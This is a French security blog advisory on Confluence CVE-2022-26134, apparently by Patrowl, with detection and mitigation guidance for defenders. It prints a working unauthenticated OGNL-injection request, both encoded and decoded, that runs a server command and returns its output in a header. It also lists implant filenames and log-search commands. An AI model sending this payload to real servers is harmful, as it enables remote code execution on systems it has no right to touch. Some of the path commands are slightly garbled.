Blog: Programme CaRE : les établissements de santé comblent le retard en cybersécurité avec Patrowl
Blog: Vulnérabilité critique sur Atlassian Confluence / CVE-2022-26134
Auteur: Vlad
Publié le
Origine
La vulnérabilité est exploitée dans la nature par des attaquants non identifiés (mais semble provenir de quelque part en Asie 😉) et a été repérée par la société Volexity contre l'un de ses clients.
Une fois la vulnérabilité exploitée, un implant classique (sous forme de page JSP) est déployé pour maintenir l'accès et la progression.
Voici l'article de Volexity : https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
Et l'avis de l'éditeur d'Atlassian : https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
Ce n'est pas la première fois qu'un groupe d'attaquants utilise une vulnérabilité de 0 jour (inconnue du reste du monde) pour compromettre des actifs exposés sur Internet. C'est un comportement qui tend à se généraliser avec la réutilisation de l'exploit, très rapidement après sa publication, par des groupes de cybercriminels.
D'ailleurs, maintenant que le code de l'exploit est public, tout le monde scrute Internet pour trouver Confluence et les pirater 😞.
La vulnérabilité
La vulnérabilité est assez triviale à exploiter et permet d'exécuter une commande directement sur le serveur Confluence, sans authentification.
Comme il s'agit d'une injection de commande, elle est très stable et l'exploit fonctionne à chaque fois !
Il suffit d'envoyer la requête suivante à un serveur Confluence (avec la commande injectée en rouge) :
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29. %28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Décodé :
GET /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime(). exec("id").getInputStream(), "utf-8″)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/ HTTP/1.1
Cet exploit vous permet d'obtenir l'identifiant du compte qui exécute Confluence dans l'en-tête "X-Cmd-Response".
Il s'agit là encore (un peu comme pour Log4J) du traitement d'une variable envoyée et interprétée par le logiciel mais permettant d'interpréter du code Java fourni simplement sous forme de texte 😨. C'est simple et efficace.
L'exploit ci-dessus déclare une variable "#a" dans laquelle est stocké le résultat et l'exécution d'une commande grâce à la fonction Java "java.lang.Runtime@getRuntime().exec() et stockée pour affichage chez l'attaquant dans un en-tête HTTP : "X-Cmd-Response".
Suis-je vulnérable ?
La détection comporte plusieurs aspects : détecter si l'on est vulnérable, détecter les tentatives d'exploitation et détecter les exploitations passées.
Notez que si vous utilisez Confluence en version SaaS chez Atlassian, vous ne pourrez pas faire grand chose à part demander à l'éditeur s'il a détecté des compromissions.
Détecter si vous êtes vulnérable
Un "template" pour Nuclei a été publié, sans persistance, et nécessitant l'écoute d'un serveur DNS pour confirmer la vulnérabilité : https://github.com/projectdiscovery/nuclei-templates/pull/4527/commits/46f6526d89ceb6d1d0e2e22a8e0f15b7186a0b7c et https://github.com/projectdiscovery/nuclei-templates/pull/4527
Comme la vérification nécessite une connexion en retour, il me semble plus facile de faire une détection avec l'injection de la commande "id" et le résultat dans l'en-tête mentionné ci-dessus.
Détection des tentatives d'exploitation
Voici une règle pour Suricata Intrusion Detection Solution (IDS) mais avec un risque élevé de faux positifs, acceptable jusqu'à ce que nous obtenions un correctif : https://github.com/c3rb3ru5d3d53c/signatures/blob/master/signatures /attack/injection/template/template.suricata-6.0.5.rules
Détecter les exploits passés (et les compromissions potentielles)
Vous pouvez d'abord rechercher dans vos journaux avec un léger risque de faux positifs : (Windows) findtr -i '${' "C:\NProgram Files\NAtlassian\NConfluence\Nlogs*" (Linux) grep "${" /var/log/*
Les premiers attaquants ont laissé des traces assez faciles à trouver. Vous pouvez rechercher les fichiers suivants sur vos serveurs Confluence : ./admin/findspaceattachments.jsp ./admin/cluster/hashclustername.jsp ./admin/default.jsp ./classpath.jsp ./errors/notfound.jsp ./500page.jsp ./errors.jsp ./noop.jsp Vous pouvez également rechercher tout fichier JSP créé au cours des 30 derniers jours, par exemple.
Que faire (en cas d'auto-hébergement)
Mise à jour 04/06/2022 : Un vrai correctif a été publié par Atlassian https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html et https://www.atlassian.com/software/confluence/download-archives
Mise à jour du 03/06/2022 : une nouvelle solution de contournement est recommandée, consistant à mettre à jour le composant impacté. Compte tenu de l'atomicité de ce changement, si vous pouvez attendre le correctif (qui ne devrait pas tarder) alors attendez 😉.
Pour l'instant il n'y a pas de correctif, seulement une solution de contournement qui consiste à filtrer les URL d'accès à Confluence si vous avez un WAF sinon, comme nous sommes vendredi, il peut être possible de couper, temporairement, l'accès à votre Confluence exposé sur Internet.
Ce n'est pas terrible mais j'espère qu'un correctif sera bientôt proposé.
Bonne chance et bon week-end.
Blog: Lire les articles privés de plus de 700 000 sites
Blog: D'un warning à une CSRF impactant plus de 3 millions de sites